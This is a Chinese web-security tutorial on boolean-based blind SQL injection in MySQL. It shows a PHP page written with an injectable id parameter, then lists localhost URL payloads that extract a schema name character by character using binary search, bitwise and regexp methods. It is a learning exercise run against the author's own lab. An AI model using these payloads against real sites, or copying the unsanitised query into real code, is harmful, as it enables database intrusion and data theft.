1. 程式人生 > >【20】WEB安全學習----MySQL注入-5(布林型盲注)

【20】WEB安全學習----MySQL注入-5(布林型盲注)

布林型盲注例子演示:

本次程式碼不輸出具體的查詢記錄結果,如果存在ID值則輸出一個狀態,不存在ID值則輸出另一個狀態,也不會輸出SQL報錯狀態,為布林型盲注。

<?php
    header('content-type:text/html;charset=utf-8');
    @$id=$_GET['id'];  //傳參
    if(!isset($id)){
        die('請傳入GET方法id引數值');
    }
    $mysqli=new mysqli();
    $mysqli->connect('localhost','root','root');
    if($mysqli->connect_errno){
        die('連線資料庫失敗:'.$mysqli->connect_error);
    }
    $mysqli->select_db('user');
    if($mysqli->errno){
        die('開啟資料庫失敗:'.$mysqli->error);
    }
    $mysqli->set_charset('utf8');
    $sql="SELECT username,passwd FROM users WHERE id={$id} limit 0,1";  //添加了limit語句
    $result=$mysqli->query($sql);
    if(!$result){
        //die('執行SQL語句失敗:'.$mysqli->error);
    }else if($result->num_rows==0){
        echo '抱歉!不存在此記錄';
    }else {
        echo '存在此記錄';
    }

注入步驟

判斷注入點:

判斷注入點同樣可以進行運算子操作,檢視是否執行了運算

判斷欄位數:

邏輯判斷注入:

因為不返回查詢結果資訊,所以不能直接進行查詢,但是可以通過條件語句進行邏輯判斷猜解。

檢視當前資料庫版本:通過邏輯比較得知,資料庫版本為5

二分搜尋法進行猜解

猜解information_schema.schemata表裡第二行記錄的第一個字元為’f

http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>64,1,0)%23 存在此記錄
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>128,1,0)%23 不存在此記錄
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>96,1,0)%23 存在此記錄
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>112,1,0)%23 不存在此記錄
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>104,1,0)%23 不存在此記錄
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>100,1,0)%23 存在此記錄
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>102,1,0)%23 不存在此記錄
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>101,1,0)%23 存在此記錄
x>101 and x<102 所以x=102

102對應的正是字元f

但是,不知道欄位值什麼時候結束,所以首先需要取當前欄位值的長度。

http://localhost/index.php?id=1 and if(length((select schema_name from information_schema.schemata limit 1,1))=4,1,0)%23 存在此記錄

按位比較法進行猜解

http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 64,1,0)%23 存在此記錄 1
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 32,1,0)%23 存在此記錄 1
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 16,1,0)%23 不存在此記錄 0
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 8,1,0)%23 不存在此記錄 0
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 4,1,0)%23 存在此記錄 1
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 2,1,0)%23 存在此記錄 1
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 1,1,0)%23 不存在此記錄 0
1100110轉換到十進位制為102 

102對應的正是字元f

正則表示式法進行猜解

http://localhost/index.php?id=1 and if((select schema_name from information_schema.schemata limit 1,1) regexp '^f',1,0)%23 是否以字元f開頭  存在此記錄
http://localhost/index.php?id=1 and if(mid((select schema_name from information_schema.schemata limit 1,1),1,1) regexp '[a-g]',1,0)%23 第一個字元是否在a-g中
......以此類推